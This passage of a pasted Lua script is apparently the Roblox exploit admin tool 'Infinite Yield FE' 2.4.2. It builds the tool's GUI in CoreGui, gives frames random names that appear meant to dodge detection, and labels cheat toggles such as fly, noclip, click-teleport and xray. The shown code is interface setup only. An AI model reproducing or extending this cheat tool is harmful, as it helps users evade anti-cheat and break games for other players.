· 6 years ago · Dec 17, 2019, 03:08 AM
1if not game:IsLoaded() then
2 local notLoaded = Instance.new("Message",workspace)
3 notLoaded.Text = 'Infinite Yield is waiting for the game to load'
4 game.Loaded:Wait()
5 notLoaded:Destroy()
6end
7
8ver = '2.4.2'
9
10Players = game:GetService("Players")
11
12local Holder = Instance.new("Frame")
13local Title = Instance.new("TextLabel")
14local Dark = Instance.new("Frame")
15local Cmdbar = Instance.new("TextBox")
16local Dark_2 = Instance.new("Frame")
17local CMDsF = Instance.new("ScrollingFrame")
18local SettingsButton = Instance.new("ImageButton")
19local Settings = Instance.new("Frame")
20local Prefix = Instance.new("TextLabel")
21local PrefixBox = Instance.new("TextBox")
22local Keybinds = Instance.new("TextLabel")
23local Select = Instance.new("TextButton")
24local StayOpen = Instance.new("TextLabel")
25local Button = Instance.new("Frame")
26local On = Instance.new("TextButton")
27local Positions = Instance.new("TextLabel")
28local Select_8 = Instance.new("TextButton")
29local SpawnC = Instance.new("TextLabel")
30local Select_2 = Instance.new("TextButton")
31local Plugins = Instance.new("TextLabel")
32local Select_9 = Instance.new("TextButton")
33local Example = Instance.new("TextButton")
34local Notification = Instance.new("Frame")
35local Dark_3 = Instance.new("Frame")
36local Title_2 = Instance.new("TextLabel")
37local Text_2 = Instance.new("TextLabel")
38local CloseButton = Instance.new("ImageButton")
39local IntroBackground = Instance.new("Frame")
40local Logo = Instance.new("ImageLabel")
41local Credits = Instance.new("TextBox")
42local KeybindsFrame = Instance.new("Frame")
43local Close = Instance.new("TextButton")
44local SpawnCFrame = Instance.new("Frame")
45local Holder_6 = Instance.new("ScrollingFrame")
46local Close_5 = Instance.new("TextButton")
47local Add = Instance.new("TextButton")
48local Delete = Instance.new("TextButton")
49local Holder_2 = Instance.new("ScrollingFrame")
50local Example_2 = Instance.new("Frame")
51local Text_3 = Instance.new("TextLabel")
52local Delete_2 = Instance.new("TextButton")
53local KeybindEditor = Instance.new("Frame")
54local background_2 = Instance.new("Frame")
55local Dark_4 = Instance.new("Frame")
56local Directions = Instance.new("TextLabel")
57local BindTo = Instance.new("TextButton")
58local Add_2 = Instance.new("TextButton")
59local Cmdbar_2 = Instance.new("TextBox")
60local Toggles = Instance.new("ScrollingFrame")
61local Fly = Instance.new("TextLabel")
62local Select_3 = Instance.new("TextButton")
63local Noclip = Instance.new("TextLabel")
64local Select_4 = Instance.new("TextButton")
65local Float = Instance.new("TextLabel")
66local Select_5 = Instance.new("TextButton")
67local ClickTP = Instance.new("TextLabel")
68local Select_6 = Instance.new("TextButton")
69local Xray = Instance.new("TextLabel")
70local Select_10 = Instance.new("TextButton")
71local Dark_7 = Instance.new("Frame")
72local shadow_2 = Instance.new("Frame")
73local PopupText_2 = Instance.new("TextLabel")
74local Exit_2 = Instance.new("ImageButton")
75local SpawnCEditor = Instance.new("Frame")
76local background_4 = Instance.new("Frame")
77local Cmdbar_3 = Instance.new("TextBox")
78local Dark_10 = Instance.new("Frame")
79local Add_5 = Instance.new("TextButton")
80local DelayNum = Instance.new("TextBox")
81local Delay = Instance.new("TextLabel")
82local Directions_3 = Instance.new("TextLabel")
83local Dark_11 = Instance.new("Frame")
84local shadow_4 = Instance.new("Frame")
85local PopupText_4 = Instance.new("TextLabel")
86local Exit_4 = Instance.new("ImageButton")
87local PositionsFrame = Instance.new("Frame")
88local Close_3 = Instance.new("TextButton")
89local Delete_5 = Instance.new("TextButton")
90local Part = Instance.new("TextButton")
91local Holder_4 = Instance.new("ScrollingFrame")
92local Example_4 = Instance.new("Frame")
93local Text_5 = Instance.new("TextLabel")
94local Delete_6 = Instance.new("TextButton")
95local TP = Instance.new("TextButton")
96local AliasesFrame = Instance.new("Frame")
97local Close_2 = Instance.new("TextButton")
98local Delete_3 = Instance.new("TextButton")
99local Holder_3 = Instance.new("ScrollingFrame")
100local Example_3 = Instance.new("Frame")
101local Text_4 = Instance.new("TextLabel")
102local Delete_4 = Instance.new("TextButton")
103local Aliases = Instance.new("TextLabel")
104local Select_7 = Instance.new("TextButton")
105local PluginsFrame = Instance.new("Frame")
106local Close_4 = Instance.new("TextButton")
107local Add_4 = Instance.new("TextButton")
108local Delete_8 = Instance.new("TextButton")
109local Add_3 = Instance.new("TextButton")
110local Holder_5 = Instance.new("ScrollingFrame")
111local Example_5 = Instance.new("Frame")
112local Text_6 = Instance.new("TextLabel")
113local Delete_7 = Instance.new("TextButton")
114local PluginEditor = Instance.new("Frame")
115local background_3 = Instance.new("Frame")
116local Dark_8 = Instance.new("Frame")
117local Dark_9 = Instance.new("Frame")
118local Img = Instance.new("ImageButton")
119local AddPlugin = Instance.new("TextButton")
120local FileName = Instance.new("TextBox")
121local About = Instance.new("TextLabel")
122local Directions_2 = Instance.new("TextLabel")
123local shadow_3 = Instance.new("Frame")
124local PopupText_3 = Instance.new("TextLabel")
125local Exit_3 = Instance.new("ImageButton")
126local logsDrag = Instance.new("Frame")
127local shadow = Instance.new("Frame")
128local Hide = Instance.new("ImageButton")
129local PopupText = Instance.new("TextLabel")
130local Exit = Instance.new("ImageButton")
131local scroll = Instance.new("ScrollingFrame")
132local background = Instance.new("Frame")
133local Dark_6 = Instance.new("Frame")
134local Clear = Instance.new("TextButton")
135local Toggle = Instance.new("TextButton")
136local AliasHint = Instance.new("TextLabel")
137local PluginsHint = Instance.new("TextLabel")
138local PositionsHint = Instance.new("TextLabel")
139local ToPartFrame = Instance.new("Frame")
140local background_5 = Instance.new("Frame")
141local Dark_5 = Instance.new("Frame")
142local ChoosePart = Instance.new("TextButton")
143local CopyPath = Instance.new("TextButton")
144local Directions_4 = Instance.new("TextLabel")
145local Path = Instance.new("TextLabel")
146local shadow_5 = Instance.new("Frame")
147local PopupText_5 = Instance.new("TextLabel")
148local Exit_5 = Instance.new("ImageButton")
149
150local PARENT
151if game:GetService("CoreGui"):FindFirstChild('RobloxGui') then
152 PARENT = game:GetService("CoreGui").RobloxGui
153else
154 PARENT = game:GetService("CoreGui")
155end
156
157function randomString()
158 local length = math.random(10,20)
159 local array = {}
160 for i = 1, length do
161 array[i] = string.char(math.random(32, 126))
162 end
163 return table.concat(array)
164end
165
166Holder.Name = randomString()
167Holder.Parent = PARENT
168Holder.Active = true
169Holder.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
170Holder.BackgroundTransparency = 0.20000000298023
171Holder.BorderSizePixel = 0
172Holder.Position = UDim2.new(1, -250, 1, -220)
173Holder.Size = UDim2.new(0, 250, 0, 220)
174
175Title.Name = "Title"
176Title.Parent = Holder
177Title.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
178Title.BackgroundTransparency = 1
179Title.BorderSizePixel = 0
180Title.Size = UDim2.new(0, 250, 0, 20)
181Title.Font = Enum.Font.SourceSans
182Title.TextSize = 20
183Title.Text = "❄️ Infinite Yield FE ❄️"
184Title.TextColor3 = Color3.new(1, 1, 1)
185Title.TextStrokeTransparency = 0
186
187Dark.Name = "Dark"
188Dark.Parent = Holder
189Dark.Active = true
190Dark.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
191Dark.BorderSizePixel = 0
192Dark.Position = UDim2.new(0, 0, 0, 45)
193Dark.Size = UDim2.new(0, 250, 0, 175)
194
195Cmdbar.Name = "Cmdbar"
196Cmdbar.Parent = Holder
197Cmdbar.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
198Cmdbar.BackgroundTransparency = 1
199Cmdbar.BorderSizePixel = 0
200Cmdbar.Position = UDim2.new(0, 0, 0, 25)
201Cmdbar.Size = UDim2.new(0, 250, 0, 20)
202Cmdbar.Font = Enum.Font.SourceSans
203Cmdbar.FontSize = Enum.FontSize.Size18
204Cmdbar.Text = "Command Bar"
205Cmdbar.TextColor3 = Color3.new(1, 1, 1)
206Cmdbar.TextScaled = true
207Cmdbar.TextWrapped = true
208Cmdbar.TextStrokeTransparency = 0
209
210Dark_2.Name = "Dark"
211Dark_2.Parent = Holder
212Dark_2.Active = true
213Dark_2.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
214Dark_2.BorderSizePixel = 0
215Dark_2.Position = UDim2.new(0, 0, 0, 20)
216Dark_2.Size = UDim2.new(0, 250, 0, 5)
217
218CMDsF.Name = "CMDs"
219CMDsF.Parent = Holder
220CMDsF.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
221CMDsF.BackgroundTransparency = 1
222CMDsF.BorderSizePixel = 0
223CMDsF.Position = UDim2.new(0, 0, 0, 50)
224CMDsF.Size = UDim2.new(0, 250, 0, 170)
225CMDsF.BottomImage = "rbxasset://textures/blackBkg_square.png"
226CMDsF.CanvasSize = UDim2.new(0, 0, 0, 0)
227CMDsF.MidImage = "rbxasset://textures/blackBkg_square.png"
228CMDsF.ScrollBarThickness = 8
229CMDsF.TopImage = "rbxasset://textures/blackBkg_square.png"
230
231SettingsButton.Name = "SettingsButton"
232SettingsButton.Parent = Holder
233SettingsButton.BackgroundColor3 = Color3.new(1, 1, 1)
234SettingsButton.BackgroundTransparency = 1
235SettingsButton.Position = UDim2.new(0, 230, 0, 25)
236SettingsButton.Size = UDim2.new(0, 20, 0, 20)
237SettingsButton.Image = "rbxassetid://1204397029"
238
239Settings.Name = "Settings"
240Settings.Parent = Holder
241Settings.Active = true
242Settings.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
243Settings.BorderSizePixel = 0
244Settings.Position = UDim2.new(0, 0, 0, 220)
245Settings.Size = UDim2.new(0, 250, 0, 175)
246
247Prefix.Name = "Prefix"
248Prefix.Parent = Settings
249Prefix.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
250Prefix.BackgroundTransparency = 0.5
251Prefix.BorderSizePixel = 0
252Prefix.Position = UDim2.new(0, 0, 0, 5)
253Prefix.Size = UDim2.new(0, 250, 0, 20)
254Prefix.Font = Enum.Font.SourceSans
255Prefix.FontSize = Enum.FontSize.Size14
256Prefix.Text = " Prefix"
257Prefix.TextColor3 = Color3.new(1, 1, 1)
258Prefix.TextXAlignment = Enum.TextXAlignment.Left
259
260PrefixBox.Name = "PrefixBox"
261PrefixBox.Parent = Prefix
262PrefixBox.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
263PrefixBox.BorderSizePixel = 0
264PrefixBox.Position = UDim2.new(0, 230, 0, 0)
265PrefixBox.Size = UDim2.new(0, 20, 0, 20)
266PrefixBox.Font = Enum.Font.SourceSansBold
267PrefixBox.FontSize = Enum.FontSize.Size14
268PrefixBox.Text = ''
269PrefixBox.TextColor3 = Color3.new(0, 0, 0)
270
271Keybinds.Name = "Keybinds"
272Keybinds.Parent = Settings
273Keybinds.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
274Keybinds.BackgroundTransparency = 0.5
275Keybinds.BorderSizePixel = 0
276Keybinds.Position = UDim2.new(0, 0, 0, 55)
277Keybinds.Size = UDim2.new(0, 250, 0, 20)
278Keybinds.Font = Enum.Font.SourceSans
279Keybinds.FontSize = Enum.FontSize.Size14
280Keybinds.Text = " Keybinds"
281Keybinds.TextColor3 = Color3.new(1, 1, 1)
282Keybinds.TextXAlignment = Enum.TextXAlignment.Left
283
284Select.Name = "Select"
285Select.Parent = Keybinds
286Select.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
287Select.BorderSizePixel = 0
288Select.Position = UDim2.new(0, 200, 0, 0)
289Select.Size = UDim2.new(0, 50, 0, 20)
290Select.Font = Enum.Font.SourceSans
291Select.FontSize = Enum.FontSize.Size14
292Select.Text = "Edit"
293Select.TextColor3 = Color3.new(0, 0, 0)
294
295Aliases.Name = "Aliases"
296Aliases.Parent = Settings
297Aliases.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
298Aliases.BackgroundTransparency = 0.5
299Aliases.BorderSizePixel = 0
300Aliases.Position = UDim2.new(0, 0, 0, 80)
301Aliases.Size = UDim2.new(0, 250, 0, 20)
302Aliases.Font = Enum.Font.SourceSans
303Aliases.FontSize = Enum.FontSize.Size14
304Aliases.Text = " Aliases"
305Aliases.TextColor3 = Color3.new(1, 1, 1)
306Aliases.TextXAlignment = Enum.TextXAlignment.Left
307
308Select_7.Name = "Select"
309Select_7.Parent = Aliases
310Select_7.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
311Select_7.BorderSizePixel = 0
312Select_7.Position = UDim2.new(0, 200, 0, 0)
313Select_7.Size = UDim2.new(0, 50, 0, 20)
314Select_7.Font = Enum.Font.SourceSans
315Select_7.FontSize = Enum.FontSize.Size14
316Select_7.Text = "Edit"
317Select_7.TextColor3 = Color3.new(0, 0, 0)
318
319StayOpen.Name = "StayOpen"
320StayOpen.Parent = Settings
321StayOpen.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
322StayOpen.BackgroundTransparency = 0.5
323StayOpen.BorderSizePixel = 0
324StayOpen.Position = UDim2.new(0, 0, 0, 30)
325StayOpen.Size = UDim2.new(0, 250, 0, 20)
326StayOpen.Font = Enum.Font.SourceSans
327StayOpen.FontSize = Enum.FontSize.Size14
328StayOpen.Text = " Keep Menu Open"
329StayOpen.TextColor3 = Color3.new(1, 1, 1)
330StayOpen.TextXAlignment = Enum.TextXAlignment.Left
331
332Button.Name = "Button"
333Button.Parent = StayOpen
334Button.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
335Button.BorderSizePixel = 0
336Button.Position = UDim2.new(0, 230, 0, 0)
337Button.Size = UDim2.new(0, 20, 0, 20)
338
339On.Name = "On"
340On.Parent = Button
341On.BackgroundColor3 = Color3.new(0.8, 0.8, 0.8)
342On.BackgroundTransparency = 1
343On.BorderSizePixel = 0
344On.Position = UDim2.new(0, 2, 0, 2)
345On.Size = UDim2.new(0, 16, 0, 16)
346On.Font = Enum.Font.SourceSans
347On.FontSize = Enum.FontSize.Size14
348On.Text = ""
349On.TextColor3 = Color3.new(0, 0, 0)
350
351Positions.Name = "Positions"
352Positions.Parent = Settings
353Positions.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
354Positions.BackgroundTransparency = 0.5
355Positions.BorderSizePixel = 0
356Positions.Position = UDim2.new(0, 0, 0, 105)
357Positions.Size = UDim2.new(0, 250, 0, 20)
358Positions.Font = Enum.Font.SourceSans
359Positions.FontSize = Enum.FontSize.Size14
360Positions.Text = " Waypoints / Positions / Part TP"
361Positions.TextColor3 = Color3.new(1, 1, 1)
362Positions.TextXAlignment = Enum.TextXAlignment.Left
363
364Select_8.Name = "Select"
365Select_8.Parent = Positions
366Select_8.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
367Select_8.BorderSizePixel = 0
368Select_8.Position = UDim2.new(0, 200, 0, 0)
369Select_8.Size = UDim2.new(0, 50, 0, 20)
370Select_8.Font = Enum.Font.SourceSans
371Select_8.FontSize = Enum.FontSize.Size14
372Select_8.Text = "Edit / TP"
373Select_8.TextColor3 = Color3.new(0, 0, 0)
374
375SpawnC.Name = "SpawnC"
376SpawnC.Parent = Settings
377SpawnC.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
378SpawnC.BackgroundTransparency = 0.5
379SpawnC.BorderSizePixel = 0
380SpawnC.Position = UDim2.new(0, 0, 0, 155)
381SpawnC.Size = UDim2.new(0, 250, 0, 20)
382SpawnC.Font = Enum.Font.SourceSans
383SpawnC.FontSize = Enum.FontSize.Size14
384SpawnC.Text = " Spawn Commands"
385SpawnC.TextColor3 = Color3.new(1, 1, 1)
386SpawnC.TextXAlignment = Enum.TextXAlignment.Left
387
388Select_2.Name = "Select"
389Select_2.Parent = SpawnC
390Select_2.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
391Select_2.BorderSizePixel = 0
392Select_2.Position = UDim2.new(0, 200, 0, 0)
393Select_2.Size = UDim2.new(0, 50, 0, 20)
394Select_2.Font = Enum.Font.SourceSans
395Select_2.FontSize = Enum.FontSize.Size14
396Select_2.Text = "Edit"
397Select_2.TextColor3 = Color3.new(0, 0, 0)
398
399Plugins.Name = "Plugins"
400Plugins.Parent = Settings
401Plugins.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
402Plugins.BackgroundTransparency = 0.5
403Plugins.BorderSizePixel = 0
404Plugins.Position = UDim2.new(0, 0, 0, 130)
405Plugins.Size = UDim2.new(0, 250, 0, 20)
406Plugins.Font = Enum.Font.SourceSans
407Plugins.FontSize = Enum.FontSize.Size14
408Plugins.Text = " Plugins"
409Plugins.TextColor3 = Color3.new(1, 1, 1)
410Plugins.TextXAlignment = Enum.TextXAlignment.Left
411
412Select_9.Name = "Select"
413Select_9.Parent = Plugins
414Select_9.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
415Select_9.BorderSizePixel = 0
416Select_9.Position = UDim2.new(0, 200, 0, 0)
417Select_9.Size = UDim2.new(0, 50, 0, 20)
418Select_9.Font = Enum.Font.SourceSans
419Select_9.FontSize = Enum.FontSize.Size14
420Select_9.Text = "Edit"
421Select_9.TextColor3 = Color3.new(0, 0, 0)
422
423Example.Name = "Example"
424Example.Parent = Holder
425Example.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
426Example.BackgroundTransparency = 1
427Example.BorderSizePixel = 0
428Example.Size = UDim2.new(0, 190, 0, 20)
429Example.Visible = false
430Example.Font = Enum.Font.SourceSansBold
431Example.FontSize = Enum.FontSize.Size18
432Example.Text = "Example"
433Example.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
434Example.TextStrokeTransparency = 0
435Example.TextXAlignment = Enum.TextXAlignment.Left
436
437Notification.Name = randomString()
438Notification.Parent = PARENT
439Notification.Active = true
440Notification.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
441Notification.BackgroundTransparency = 0
442Notification.BorderSizePixel = 0
443Notification.Position = UDim2.new(1, -500, 1, 20)
444Notification.Size = UDim2.new(0, 250, 0, 100)
445
446Dark_3.Name = "Dark"
447Dark_3.Parent = Notification
448Dark_3.Active = true
449Dark_3.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
450Dark_3.BackgroundTransparency = 0.5
451Dark_3.BorderSizePixel = 0
452Dark_3.Position = UDim2.new(0, 0, 0, 20)
453Dark_3.Size = UDim2.new(0, 250, 0, 5)
454
455Title_2.Name = "Title"
456Title_2.Parent = Notification
457Title_2.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
458Title_2.BackgroundTransparency = 1
459Title_2.BorderSizePixel = 0
460Title_2.Size = UDim2.new(0, 250, 0, 20)
461Title_2.Font = Enum.Font.SourceSans
462Title_2.TextSize = 20
463Title_2.Text = "Notification Title"
464Title_2.TextColor3 = Color3.new(1, 1, 1)
465Title_2.TextStrokeTransparency = 0
466
467Text_2.Name = "Text"
468Text_2.Parent = Notification
469Text_2.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
470Text_2.BackgroundTransparency = 1
471Text_2.BorderSizePixel = 0
472Text_2.Position = UDim2.new(0, 5, 0, 25)
473Text_2.Size = UDim2.new(0, 240, 0, 75)
474Text_2.Font = Enum.Font.SourceSans
475Text_2.FontSize = Enum.FontSize.Size18
476Text_2.Text = "Notification Text"
477Text_2.TextColor3 = Color3.new(1, 1, 1)
478Text_2.TextWrapped = true
479
480CloseButton.Name = "CloseButton"
481CloseButton.Parent = Notification
482CloseButton.BackgroundColor3 = Color3.new(1, 1, 1)
483CloseButton.BackgroundTransparency = 1
484CloseButton.Position = UDim2.new(0, 0, 0, 0)
485CloseButton.Size = UDim2.new(0, 20, 0, 20)
486CloseButton.Image = "rbxassetid://2132544126"
487
488IntroBackground.Name = "IntroBackground"
489IntroBackground.Parent = Holder
490IntroBackground.Active = true
491IntroBackground.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
492IntroBackground.BorderSizePixel = 0
493IntroBackground.Position = UDim2.new(0, 0, 0, 45)
494IntroBackground.Size = UDim2.new(0, 250, 0, 175)
495IntroBackground.ZIndex = 4
496
497Logo.Name = "Logo"
498Logo.Parent = Holder
499Logo.BackgroundColor3 = Color3.new(1, 1, 1)
500Logo.BackgroundTransparency = 1
501Logo.BorderSizePixel = 0
502Logo.Position = UDim2.new(0, 125, 0, 127)
503Logo.Size = UDim2.new(0, 10, 0, 10)
504Logo.Image = "rbxassetid://1352543873"
505Logo.ImageTransparency = 0
506Logo.ZIndex = 5
507
508Credits.Name = "Credits"
509Credits.Parent = Holder
510Credits.BackgroundColor3 = Color3.new(1, 1, 1)
511Credits.BackgroundTransparency = 1
512Credits.BorderSizePixel = 0
513Credits.Position = UDim2.new(0, 0, 0.9, 30)
514Credits.Size = UDim2.new(0, 250, 0, 20)
515Credits.Font = Enum.Font.SourceSansLight
516Credits.FontSize = Enum.FontSize.Size18
517Credits.Text = "Edge // Zwolf // Moon"
518Credits.TextColor3 = Color3.new(1, 1, 1)
519Credits.ZIndex = 5
520
521KeybindsFrame.Name = "KeybindsFrame"
522KeybindsFrame.Parent = Settings
523KeybindsFrame.Active = true
524KeybindsFrame.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
525KeybindsFrame.BorderSizePixel = 0
526KeybindsFrame.Position = UDim2.new(0, 0, 0, 175)
527KeybindsFrame.Size = UDim2.new(0, 250, 0, 175)
528
529Close.Name = "Close"
530Close.Parent = KeybindsFrame
531Close.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
532Close.BorderSizePixel = 0
533Close.Position = UDim2.new(0, 205, 0, 150)
534Close.Size = UDim2.new(0, 40, 0, 20)
535Close.Font = Enum.Font.SourceSans
536Close.FontSize = Enum.FontSize.Size14
537Close.Text = "Close"
538Close.TextColor3 = Color3.new(0, 0, 0)
539
540Add.Name = "Add"
541Add.Parent = KeybindsFrame
542Add.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
543Add.BorderSizePixel = 0
544Add.Position = UDim2.new(0, 5, 0, 150)
545Add.Size = UDim2.new(0, 40, 0, 20)
546Add.Font = Enum.Font.SourceSans
547Add.FontSize = Enum.FontSize.Size14
548Add.Text = "Add"
549Add.TextColor3 = Color3.new(0, 0, 0)
550
551Delete.Name = "Delete"
552Delete.Parent = KeybindsFrame
553Delete.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
554Delete.BorderSizePixel = 0
555Delete.Position = UDim2.new(0, 50, 0, 150)
556Delete.Size = UDim2.new(0, 40, 0, 20)
557Delete.Font = Enum.Font.SourceSans
558Delete.FontSize = Enum.FontSize.Size14
559Delete.Text = "Clear"
560Delete.TextColor3 = Color3.new(0, 0, 0)
561
562SpawnCFrame.Name = "SpawnCFrame"
563SpawnCFrame.Parent = Settings
564SpawnCFrame.Active = true
565SpawnCFrame.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
566SpawnCFrame.BorderSizePixel = 0
567SpawnCFrame.Position = UDim2.new(0, 0, 0, 175)
568SpawnCFrame.Size = UDim2.new(0, 250, 0, 175)
569
570Holder_6.Name = "Holder"
571Holder_6.Parent = SpawnCFrame
572Holder_6.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
573Holder_6.BackgroundTransparency = 1
574Holder_6.BorderSizePixel = 0
575Holder_6.Position = UDim2.new(0, 0, 0, 0)
576Holder_6.Selectable = false
577Holder_6.Size = UDim2.new(0, 250, 0, 145)
578Holder_6.BottomImage = "rbxasset://textures/blackBkg_square.png"
579Holder_6.CanvasSize = UDim2.new(0, 0, 0, 0)
580Holder_6.MidImage = "rbxasset://textures/blackBkg_square.png"
581Holder_6.ScrollBarThickness = 8
582Holder_6.TopImage = "rbxasset://textures/blackBkg_square.png"
583
584Close_5.Name = "Close"
585Close_5.Parent = SpawnCFrame
586Close_5.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
587Close_5.BorderSizePixel = 0
588Close_5.Position = UDim2.new(0, 205, 0, 150)
589Close_5.Size = UDim2.new(0, 40, 0, 20)
590Close_5.Font = Enum.Font.SourceSans
591Close_5.FontSize = Enum.FontSize.Size14
592Close_5.Text = "Close"
593Close_5.TextColor3 = Color3.new(0, 0, 0)
594
595Add_4.Name = "Add"
596Add_4.Parent = SpawnCFrame
597Add_4.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
598Add_4.BorderSizePixel = 0
599Add_4.Position = UDim2.new(0, 5, 0, 150)
600Add_4.Size = UDim2.new(0, 40, 0, 20)
601Add_4.Font = Enum.Font.SourceSans
602Add_4.FontSize = Enum.FontSize.Size14
603Add_4.Text = "Add"
604Add_4.TextColor3 = Color3.new(0, 0, 0)
605
606Delete_8.Name = "Delete"
607Delete_8.Parent = SpawnCFrame
608Delete_8.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
609Delete_8.BorderSizePixel = 0
610Delete_8.Position = UDim2.new(0, 50, 0, 150)
611Delete_8.Size = UDim2.new(0, 40, 0, 20)
612Delete_8.Font = Enum.Font.SourceSans
613Delete_8.FontSize = Enum.FontSize.Size14
614Delete_8.Text = "Clear"
615Delete_8.TextColor3 = Color3.new(0, 0, 0)
616
617Holder_2.Name = "Holder"
618Holder_2.Parent = KeybindsFrame
619Holder_2.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
620Holder_2.BackgroundTransparency = 1
621Holder_2.BorderSizePixel = 0
622Holder_2.Position = UDim2.new(0, 0, 0, 0)
623Holder_2.Size = UDim2.new(0, 250, 0, 145)
624Holder_2.BottomImage = "rbxasset://textures/blackBkg_square.png"
625Holder_2.CanvasSize = UDim2.new(0, 0, 0, 0)
626Holder_2.MidImage = "rbxasset://textures/blackBkg_square.png"
627Holder_2.ScrollBarThickness = 0
628Holder_2.TopImage = "rbxasset://textures/blackBkg_square.png"
629
630Example_2.Name = "Example"
631Example_2.Parent = KeybindsFrame
632Example_2.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
633Example_2.BackgroundTransparency = 0.5
634Example_2.BorderSizePixel = 0
635Example_2.Size = UDim2.new(0, 10, 0, 20)
636Example_2.Visible = false
637
638Text_3.Name = "Text"
639Text_3.Parent = Example_2
640Text_3.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
641Text_3.BackgroundTransparency = 0.5
642Text_3.BorderSizePixel = 0
643Text_3.Position = UDim2.new(0, 10, 0, 0)
644Text_3.Size = UDim2.new(0, 240, 0, 20)
645Text_3.Font = Enum.Font.SourceSans
646Text_3.FontSize = Enum.FontSize.Size14
647Text_3.Text = "nom"
648Text_3.TextColor3 = Color3.new(1, 1, 1)
649Text_3.TextXAlignment = Enum.TextXAlignment.Left
650
651Delete_2.Name = "Delete"
652Delete_2.Parent = Text_3
653Delete_2.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
654Delete_2.BorderSizePixel = 0
655Delete_2.Position = UDim2.new(0, 200, 0, 0)
656Delete_2.Size = UDim2.new(0, 40, 0, 20)
657Delete_2.Font = Enum.Font.SourceSans
658Delete_2.FontSize = Enum.FontSize.Size14
659Delete_2.Text = "Delete"
660Delete_2.TextColor3 = Color3.new(0, 0, 0)
661
662KeybindEditor.Name = randomString()
663KeybindEditor.Parent = PARENT
664KeybindEditor.Active = true
665KeybindEditor.BackgroundColor3 = Color3.new(1, 1, 1)
666KeybindEditor.BackgroundTransparency = 1
667KeybindEditor.Position = UDim2.new(0.5, -180, 0, -400)
668KeybindEditor.Size = UDim2.new(0, 360, 0, 20)
669KeybindEditor.ZIndex = 4
670
671background_2.Name = "background"
672background_2.Parent = KeybindEditor
673background_2.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
674background_2.BorderSizePixel = 0
675background_2.Position = UDim2.new(0, 0, 0, 20)
676background_2.Size = UDim2.new(0, 360, 0, 185)
677
678Dark_4.Name = "Dark"
679Dark_4.Parent = background_2
680Dark_4.Active = true
681Dark_4.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
682Dark_4.BackgroundTransparency = 0.5
683Dark_4.BorderSizePixel = 0
684Dark_4.Position = UDim2.new(0, 135, 0, 5)
685Dark_4.Size = UDim2.new(0, 5, 0, 180)
686
687Directions.Name = "Directions"
688Directions.Parent = background_2
689Directions.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
690Directions.BackgroundTransparency = 1
691Directions.BorderSizePixel = 0
692Directions.Position = UDim2.new(0, 10, 0, 15)
693Directions.Size = UDim2.new(0, 115, 0, 90)
694Directions.Font = Enum.Font.SourceSansBold
695Directions.FontSize = Enum.FontSize.Size14
696Directions.Text = "Click the button below and press a key/mouse button. Then select what you want to bind it to."
697Directions.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
698Directions.TextStrokeTransparency = 0
699Directions.TextWrapped = true
700Directions.TextYAlignment = Enum.TextYAlignment.Top
701
702BindTo.Name = "BindTo"
703BindTo.Parent = background_2
704BindTo.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
705BindTo.BackgroundTransparency = 0.5
706BindTo.BorderSizePixel = 0
707BindTo.Position = UDim2.new(0, 10, 0, 95)
708BindTo.Size = UDim2.new(0, 115, 0, 75)
709BindTo.Font = Enum.Font.SourceSans
710BindTo.FontSize = Enum.FontSize.Size18
711BindTo.Text = "Click to bind"
712BindTo.TextColor3 = Color3.new(1, 1, 1)
713BindTo.TextStrokeTransparency = 0
714
715Add_2.Name = "Add"
716Add_2.Parent = background_2
717Add_2.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
718Add_2.BackgroundTransparency = 0.5
719Add_2.BorderSizePixel = 0
720Add_2.Position = UDim2.new(0, 310, 0, 20)
721Add_2.Size = UDim2.new(0, 40, 0, 20)
722Add_2.Font = Enum.Font.SourceSans
